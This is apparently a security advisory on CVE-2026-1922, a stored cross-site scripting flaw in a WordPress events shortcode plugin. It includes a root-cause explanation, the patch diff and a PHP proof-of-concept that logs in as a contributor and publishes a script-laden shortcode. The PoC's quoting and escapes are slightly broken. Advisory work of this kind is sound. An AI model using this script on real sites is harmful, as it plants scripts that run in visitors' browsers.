Atomic Edge analysis of CVE-2026-1922:
The Events Calendar Shortcode & Block plugin for WordPress versions up to and including 3.1.2 contains an authenticated stored cross-site scripting (XSS) vulnerability. The vulnerability exists in the plugin’s `ecs-list-events` shortcode handler, specifically within the `message` attribute processing. Attackers with contributor-level permissions or higher can inject malicious scripts that execute when users view pages containing the compromised shortcode.
Atomic Edge research identified the root cause as insufficient input sanitization and output escaping on user-supplied shortcode attributes. The vulnerable code resides in the main plugin file `the-events-calendar-shortcode/the-events-calendar-shortcode.php` at line 483. The `$atts[‘message’]` parameter passes directly into the `_x()` translation function without proper sanitization. This occurs within the `Events_Calendar_Shortcode` class when the plugin renders the “no events found” message.
Exploitation requires an authenticated attacker with contributor-level access or higher. The attacker creates or edits a post or page containing the `[ecs-list-events]` shortcode with a malicious `message` attribute payload. For example: `[ecs-list-events message=”alert(document.domain)”]`. When WordPress renders the page, the plugin outputs the unsanitized `message` attribute value directly into the page’s HTML context, executing the embedded JavaScript in visitors’ browsers.
The patch in version 3.1.3 adds `wp_kses_post()` sanitization to the `$atts[‘message’]` parameter before passing it to `_x()`. The `wp_kses_post()` function applies WordPress’s KSES HTML filtering rules for post content, removing or neutralizing dangerous HTML tags and attributes. Before the patch, the plugin trusted raw user input. After the patch, the plugin sanitizes the input according to WordPress security standards for post content.
Successful exploitation allows authenticated attackers with contributor privileges to inject arbitrary JavaScript into pages. This JavaScript executes in the context of any user viewing the compromised page, potentially enabling session hijacking, administrative actions performed by victims, content defacement, or malware distribution. The stored nature means the payload persists across multiple visits until removed.
--- a/the-events-calendar-shortcode/the-events-calendar-shortcode.php
+++ b/the-events-calendar-shortcode/the-events-calendar-shortcode.php
@@ -3,7 +3,7 @@
* Plugin Name: The Events Calendar Shortcode & Block
* Plugin URI: https://eventcalendarnewsletter.com/the-events-calendar-shortcode/
* Description: Add shortcode, block and Elementor widget functionality to The Events Calendar Plugin, so you can easily list and promote your events anywhere.
- * Version: 3.1.2
+ * Version: 3.1.3
* Author: Event Calendar Newsletter
* Author URI: https://eventcalendarnewsletter.com/the-events-calendar-shortcode
* Contributors: brianhogg
@@ -93,7 +93,7 @@
if ( ! class_exists( 'Events_Calendar_Shortcode' ) ) {
class Events_Calendar_Shortcode {
- const VERSION = '3.1.2';
+ const VERSION = '3.1.3';
private $admin_page = null;
@@ -483,7 +483,7 @@
$output .= apply_filters( 'ecs_view_all_events_tag_end', '</span></div>' );
}
} else {
- $output .= '<div class="ecs-no-events">' . apply_filters( 'ecs_no_events_found_message', sprintf( _x( $atts['message'], 'A message to indicate there are no upcoming events.', 'the-events-calendar' ), tribe_get_event_label_plural_lowercase() ), $atts ) . '</div>';
+ $output .= '<div class="ecs-no-events">' . apply_filters( 'ecs_no_events_found_message', sprintf( _x( wp_kses_post( $atts['message'] ), 'A message to indicate there are no upcoming events.', 'the-events-calendar' ), tribe_get_event_label_plural_lowercase() ), $atts ) . '</div>';
}
wp_reset_postdata();
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1922 - The Events Calendar Shortcode & Block <= 3.1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';
// Step 1: Authenticate to obtain WordPress nonce and cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 2: Create a new post with malicious shortcode
$post_url = $target_url . '/wp-admin/post-new.php';
$post_data = array(
'post_title' => 'Test Event Listing',
'content' => '[ecs-list-events message="<script>alert('XSS via CVE-2026-1922: '+document.domain)</script>"]',
'publish' => 'Publish',
'post_type' => 'post',
'_wpnonce' => extract_nonce($response), // Function to extract nonce from response
'_wp_http_referer' => '/wp-admin/post-new.php'
);
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);
// Step 3: Verify payload injection by fetching the published post
if (preg_match('/post=([0-9]+)&/', $response, $matches)) {
$post_id = $matches[1];
$view_url = $target_url . '/?p=' . $post_id;
curl_setopt($ch, CURLOPT_URL, $view_url);
curl_setopt($ch, CURLOPT_POST, 0);
$final_response = curl_exec($ch);
if (strpos($final_response, '<script>alert') !== false) {
echo "[+] XSS payload successfully injected and stored.n";
echo "[+] Visit: $view_url to trigger execution.n";
}
}
curl_close($ch);
// Helper function to extract nonce from WordPress admin page
function extract_nonce($html) {
if (preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $html, $matches)) {
return $matches[1];
}
return '';
}
?>
